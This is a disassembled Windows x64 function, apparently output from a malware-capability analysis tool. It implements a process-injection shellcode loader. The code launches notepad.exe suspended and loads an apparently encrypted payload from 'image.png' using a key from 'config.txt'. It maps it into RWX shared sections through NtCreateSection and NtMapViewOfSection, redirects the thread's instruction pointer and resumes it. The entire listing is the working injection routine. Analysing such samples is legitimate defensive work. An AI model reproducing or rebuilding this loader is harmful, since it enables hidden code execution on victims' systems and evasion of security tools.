Function at 0x14001170d
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread

Disassembly:
jmp 0x140024b80
push rbp
push rsi
push rdi
sub rsp, 0x9f0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1a8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140033040]
xor rax, rbp
mov qword [rbp + 0x990], rax
lea rcx, [0x14003b119]
call fcn.140011a3c
nop
mov ecx, 0x68
call fcn.140011091
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
je 0x140024bfa
mov rdi, qword [rbp + 0x818]
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x818]
mov qword [rbp + 0x988], rax
jmp 0x140024c05
mov qword [rbp + 0x988], 0
mov rax, qword [rbp + 0x988]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov dword [rax], 0x68
mov rax, qword [rbp + 8]
mov dword [rax + 0x3c], 1
mov ecx, 0x18
call fcn.140011091
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x140024c60
mov rdi, qword [rbp + 0x838]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x838]
mov qword [rbp + 0x988], rax
jmp 0x140024c6b
mov qword [rbp + 0x988], 0
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x48]
lea rcx, str.notepad.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 0x84], eax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xa8], rax
lea rdx, str.NtCreateSection
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
lea rdx, str.NtMapViewOfSection
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xe8], rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0x128]
call fcn.140011b72
nop
call fcn.140011b6d
nop
lea rcx, [rbp + 0x148]
call fcn.140011b72
nop
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x858]
call fcn.140011b54
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140011b8b
nop
lea rcx, [rbp + 0x168]
call fcn.140011b63
movsd qword [rbp + 0x988], xmm0
lea rdx, str.Computation_took:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011140
movsd xmm0, qword [rbp + 0x988]
movaps xmm1, xmm0
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___double____ptr64]
lea rdx, str._seconds.
mov rcx, rax
call fcn.140011140
lea rdx, [0x140011082]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, str.image.png
lea rcx, [rbp + 0x188]
call fcn.14001147e
nop
lea rdx, str.config.txt
lea rcx, [rbp + 0x1c8]
call fcn.14001147e
nop
mov edx, 0x20
lea rcx, [rbp + 0x208]
call fcn.1400110aa
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x208]
call fcn.140011023
nop
mov edx, 0x110
lea rcx, [rbp + 0x250]
call fcn.140011721
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x250]
call fcn.140011807
nop
lea rcx, [rbp + 0x250]
call fcn.140011064
movzx eax, al
test eax, eax
jne 0x140024ef8
lea rdx, str.Failed_to_open_file:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011140
lea rdx, [rbp + 0x1c8]
mov rcx, rax
call fcn.140011933
lea rdx, [0x140011082]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x874], 1
lea rcx, [rbp + 0x250]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x208]
call fcn.140011325
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400111f4
nop
lea rcx, [rbp + 0x188]
call fcn.1400111f4
mov eax, dword [rbp + 0x874]
jmp 0x14002527e
lea rcx, [rbp + 0x894]
call fcn.140011267
mov qword [rbp + 0x988], rax
lea rcx, [rbp + 0x8b8]
call fcn.1400117c6
lea rcx, [rbp + 0x970]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x8e8]
call fcn.140011663
lea rcx, [rbp + 0x940]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x988]
mov r9, rax
lea r8, [rbp + 0x970]
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x378]
call fcn.140011627
nop
lea rcx, [rbp + 0x250]
call fcn.1400115c8
nop
mov edx, 0x20
lea rcx, [rbp + 0x3b8]
call fcn.1400110aa
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x3b8]
call fcn.140011393
nop
mov edx, 0x20
lea rcx, [rbp + 0x3f8]
call fcn.1400110aa
lea rcx, [rbp + 0x208]
call fcn.140011b1d
mov r8, rax
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x3f8]
call fcn.1400119a6
nop
lea rcx, [rbp + 0x3f8]
call fcn.14001143d
mov dword [rbp + 0x458], eax
lea rax, [rbp + 0x45c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rbp + 0x458]
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp + 0x438]
call qword [rbp + 0xc8]
mov dword [rbp + 0x474], eax
mov qword [rbp + 0x498], 0
mov qword [rbp + 0x4b8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rcx, [rbp + 0x4b8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x498]
mov rdx, rax
mov rcx, qword [rbp + 0x438]
call qword [rbp + 0xe8]
mov dword [rbp + 0x474], eax
lea rcx, [rbp + 0x3f8]
call fcn.14001143d
mov qword [rbp + 0x988], rax
xor edx, edx
lea rcx, [rbp + 0x3f8]
call fcn.140011a19
mov rcx, qword [rbp + 0x988]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x498]
call fcn.140011505
nop
mov qword [rbp + 0x4d8], 0
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rax, [rbp + 0x4b8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x4d8]
mov rax, qword [rbp + 0x28]
mov rdx, qword [rax]
mov rcx, qword [rbp + 0x438]
call qword [rbp + 0xe8]
mov dword [rbp + 0x474], eax
mov ecx, 0x4d0
call fcn.140011091
mov qword [rbp + 0x918], rax
cmp qword [rbp + 0x918], 0
je 0x14002518a
mov rdi, qword [rbp + 0x918]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x918]
mov qword [rbp + 0x988], rax
jmp 0x140025195
mov qword [rbp + 0x988], 0
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
nop
mov rax, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x4d8]
mov qword [rax + 0x80], rcx
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp + 0x498]
mov rcx, rax
call qword [rbp + 0x108]
mov dword [rbp + 0x474], eax
lea rcx, [rbp + 0x3f8]
call fcn.140011325
nop
lea rcx, [rbp + 0x3b8]
call fcn.140011325
nop
lea rcx, [rbp + 0x378]
call fcn.1400111f4
nop
lea rcx, [rbp + 0x250]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x208]
call fcn.140011325
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400111f4
nop
lea rcx, [rbp + 0x188]
call fcn.1400111f4
nop
jmp 0x14002527c
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14002b9d0]
call fcn.140011889
mov rax, rdi
mov rcx, qword [rbp + 0x990]
xor rcx, rbp
call fcn.140011500
lea rsp, [rbp + 0x9a0]
pop rdi
pop rsi
pop rbp
ret